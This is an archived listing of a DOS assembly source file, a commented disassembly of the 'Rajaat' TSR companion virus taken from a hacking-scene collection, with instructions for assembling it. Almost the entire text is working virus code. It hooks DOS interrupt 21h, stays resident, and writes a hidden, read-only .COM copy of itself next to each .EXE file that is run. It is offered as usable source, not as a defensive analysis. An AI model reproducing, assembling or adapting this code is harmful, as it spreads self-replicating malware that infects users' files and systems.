home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / RJUPDAT2.ZIP / RAJT-287.ZIP / RAJT-287.A86 next >
Text File  |  1996-05-17  |  9KB  |  234 lines

  1. ; rajt-287.a86
  2. ; TSR companion virus
  3. ;
  4. ; VSUM was a dud on this one (I really should get an update ;^))
  5. ; So here is:
  6. ; A quick and dirty disaster.. urrr.. disasembly by novice.
  7. ;
  8. ; you_say_I_make_to_long_labels? get_out_of_here!
  9. ;
  10. ; assemble with a86 rajt-287.a86
  11. ;
  12. ;                       p.s. disregard the corny comments
  13. .RADIX 16
  14.  
  15.                                 ; virus specific equates
  16. ATTR_HIDDEN_READONLY    EQU 03
  17. COM_BEGIN               EQU 0100
  18. RESIDENCY_TEST          EQU 03015
  19. PARAGRAPH_SIZE          EQU 029
  20. TSR_FLAG                EQU 0221
  21. VIR_LENGTH              EQU 011F
  22.  
  23.  
  24.                                 ; dos function equates
  25. ADJUST_MEM_BLK_SIZE     EQU 049
  26. CLOSE_FILE_W_HANDLE     EQU 03E
  27. CREATE_FILE_W_HANDLE    EQU 03C00
  28. DUPLICATE_HANDLE        EQU 045
  29. EXIT_CODE_SUB_PROG      EQU 04D
  30. FREE_MEM                EQU 04A
  31. GET_PUT_ATTRIB          EQU 043
  32. GET_VECT_INT21          EQU 03521
  33. LOAD_EXECUTE            EQU 04B00
  34. QUIT_WITH_EXIT_CODE     EQU 04C
  35. SET_VECT_INT21          EQU 02521
  36. WRITE_TO_FILE_W_HANDLE  EQU 040
  37.  
  38. START:                          ; And away we go! 
  39.         MOV B[TSR_FLAG],0       ; Set flag to 0
  40.         MOV AX,RESIDENCY_TEST   ; Ask for DOS-version
  41.         INT 021                 ;
  42.         CMP BX,RESIDENCY_TEST   ; Returns BX=3015?
  43.         JE  SET_TSR_FLAG        ; Yes, virus is resident. 
  44.  
  45. SET_INT_21:                     ;
  46.         MOV AX,GET_VECT_INT21   ; Ask for interrupt vector 21
  47.         INT 021                 ;
  48.         MOV W[OLD_INT21_CS],BX  ; Store interrupt 21
  49.         MOV W[OLD_INT21_IP],ES  ;
  50.         MOV AX,SET_VECT_INT21   ; Set interrupt 21 to our own interr.
  51.         MOV DX,OFFSET NEW_INT_21; 
  52.         INT 021                 ;                 
  53.         JMP SHORT SETUP_1STRUN  ; jump to
  54.  
  55. VANITY_PLATE: 
  56.         db "Rajaat"             ; i wonder what mug goes with 
  57.                                 ; this monnikker? (racist? who? MOI??)
  58. SET_TSR_FLAG:                   ; set up parameter block + arguments
  59.         MOV B[TSR_FLAG],1       ; set flag
  60.  
  61. SETUP_1STRUN:                   ;           
  62.         MOV AH,FREE_MEM         ; adjust memory block size
  63.         PUSH CS                 ; exchange cs en es
  64.         POP ES                  ; (cs=segmentaddr companionvirus)
  65.         MOV BX,PARAGRAPH_SIZE   ; virus size in paragr.
  66.         INT 021                 ;       
  67.         
  68.         MOV ES,W[02C]           ; es point to envir. block
  69.         MOV AH,ADJUST_MEM_BLK_SIZE ; adjust mem block
  70.         INT 021                 ;
  71.         
  72.         MOV DI,1                ; set up di=1 ax=0
  73.         XOR AX,AX               ;
  74.  
  75. READ_IN:                        ;
  76.         DEC DI                  ;
  77.         SCASW                   ;
  78.         JNE READ_IN             ; haul in the program environment 
  79.         
  80.         LEA SI,[DI+2]           ;
  81.         PUSH ES                 ;
  82.         POP DS                  ;
  83.         PUSH CS                 ;
  84.         POP ES                  ;
  85.         MOV DI,0222             ;
  86.         PUSH DI                 ;
  87.  
  88. SEARCH_EXT:                     ;
  89.         LODSB                   ;
  90.         STOSB                   ;
  91.         CMP AL,'.'              ; is there a _point_ to this?
  92.         JNE SEARCH_EXT          ; no? shut up and soldier!
  93.         CALL SET_EXTENSION      ; change extension to .EXE
  94.         PUSH CS                 ;
  95.         POP DS                  ;
  96.         POP DX                  ;
  97.         MOV AX,LOAD_EXECUTE     ; execute! (the .EXE progam that is)
  98.         MOV BX,0213             ; point to param block
  99.         MOV W[021F],CS          ; set the registers
  100.         MOV W[021B],CS          ;
  101.         MOV W[0217],CS          ;
  102.         MOV SP,0286             ; point to end param block ?
  103.         INT 021                 ; execute the host and parameters
  104.         
  105.         CS CMP B[TSR_FLAG],1    ; already resident?
  106.         JE ALREADY_RESIDENT     ; yes go on
  107.  
  108. GO_RESIDENT:        
  109.         MOV DX,0286             ; dx=last program byte +1
  110.         INT 027                 ; go res. and end virus program.
  111.                                 ; exit to DOS 
  112.                                 ; Note: The exit code of the .EXE
  113.                                 ; gets lost here!
  114. ALREADY_RESIDENT:               ;
  115.         MOV AH,EXIT_CODE_SUB_PROG ; get exit code subprogram 
  116.                                 ;  (=companioned .EXE)
  117.         INT 021                 ;
  118.         MOV AH,QUIT_WITH_EXIT_CODE ; quit to DOS with exit code of 
  119.                                 ; companioned .EXE
  120.         INT 021                 ;   
  121.                                   
  122. SET_EXTENSION:                  ;
  123.         MOV AX,05845            ; 'XE'
  124.         STOSW                   ;
  125.         MOV AX,045              ; 'E'
  126.         STOSW                   ;
  127.         RET
  128.  
  129. OLD_INT_21:
  130.         OLD_INT21_CS DW 00      ; storage for original int 21 adresses
  131.         OLD_INT21_IP DW 00      ;
  132.  
  133. NEW_INT_21:        
  134.         CMP AX,RESIDENCY_TEST   ; residency check?
  135.         JNE CHECK_FUNCTIONS     ; no continue
  136.         MOV BX,AX               ; yes swap ax and bx
  137.         IRET                    ; return to calling virus
  138.  
  139. CHECK_FUNCTIONS: 
  140.         CMP AX,LOAD_EXECUTE     ; is it an execute command?
  141.         JE VIRAL_INT            ; yes jump to virus handler
  142.         CMP AH,GET_PUT_ATTRIB   ; is it a get/put file attrib command?
  143.         JE VIRAL_INT            ; yes, jump to viral handler.
  144.                                 ; NOTE: The only effect of letting
  145.                                 ; get/put file attrib be handled by
  146.                                 ; the virus handler is that the virus
  147.                                 ; sets its own file attribute to HR each time 
  148.                                 ; it is run. So if you use ATTRIB.EXE to
  149.                                 ; change the settings of the .COM
  150.                                 ; file, each time it is run the .COM
  151.                                 ; file is set back to HR.
  152.                                 ; Neat, but a bit pointless!
  153.                                    
  154. JUMP_OLD_INT21:                 ; let old int handle things
  155.         CS JMP D[OLD_INT_21]    ; jump to ..OLD_INT_21
  156.                                 
  157. INT21_CALL:        
  158.         PUSHF
  159.         CS CALL D[OLD_INT_21]   ; call old_int_21 from within virus
  160.         RET                     ;
  161.  
  162. VIRAL_INT: 
  163.         PUSH AX                  ; Save Our Souls (and registers)
  164.         PUSH BX                  ;
  165.         PUSH CX                  ;
  166.         PUSH DX                  ;
  167.         PUSH SI                  ;
  168.         PUSH DI                  ;
  169.         PUSH DS                  ;
  170.         PUSH ES                  ;
  171.         
  172.         MOV SI,DX                ;
  173.  
  174. FIND_EXTENSION:                  ;
  175.         LODSB                    ;
  176.         CMP AL,'.'               ; Get to da point will yah
  177.         JNE FIND_EXTENSION       ;
  178.         
  179.         PUSH SI
  180.         LODSW                    ; load first 2 chars of extension
  181.         OR AX,02020              ; conversion to ascii ??
  182.         CMP AX,07865             ; check for 'XE' 
  183.         JNE EXIT_VIRUS_INT       ; no, exit
  184.         LODSB                    ; check for 'E'  
  185.         OR AL,020                ; conversion to ascii?  
  186.         CMP AL,065               ;      (better that than to hari krisna)
  187.         JNE EXIT_VIRUS_INT       ;
  188.                                 
  189. CHANGE_EXTENSION:                ; change extension to .COM        
  190.         POP DI                   ; 
  191.         PUSH DI                  ; 
  192.         PUSH DS                  ; 
  193.         POP ES                   ;
  194.         MOV AX,04F43             ; 'OC'
  195.         STOSW                    ;
  196.         MOV AL,04D               ; 'M'
  197.         STOSB                    ;
  198.  
  199. WRITE_VIRUS:                     ; write virus to disk
  200.         MOV AX,CREATE_FILE_W_HANDLE
  201.         MOV CX,ATTR_HIDDEN_READONLY
  202.         CALL INT21_CALL          ;
  203.         XCHG AX,BX               ; store file handle
  204.         PUSH CS                  ;
  205.         POP DS                   ;
  206.         MOV DX,COM_BEGIN         ; start at 100h
  207.         MOV CX,VIR_LENGTH        ; for vir_length bytes
  208.         MOV AH,WRITE_TO_FILE_W_HANDLE
  209.         CALL INT21_CALL          ;
  210.         MOV AH,CLOSE_FILE_W_HANDLE
  211.         CALL INT21_CALL          ;
  212.         POP DI                   ;
  213.         CALL SET_EXTENSION       ;
  214.         JMP EXIT_VIRUS_INT_2     ;
  215.  
  216. EXIT_VIRUS_INT:                  ;
  217.         POP SI                   ;
  218. EXIT_VIRUS_INT_2:                ;
  219.         POP ES                   ; wotta lotta poppers!
  220.         POP DS                   ;
  221.         POP DI                   ;
  222.         POP SI                   ;
  223.         POP DX                   ;
  224.         POP CX                   ;
  225.         POP BX                   ;
  226.         POP AX                   ;
  227.         JMP JUMP_OLD_INT21       ; definitly a case of the jumps
  228.  
  229. DATA_DUMP:                       ;
  230. db 00,00,80,00,56,07,5c          ;
  231. db 00,56,07,6c,00                ;
  232. END                              ; t-t-thats all f-f-folks
  233.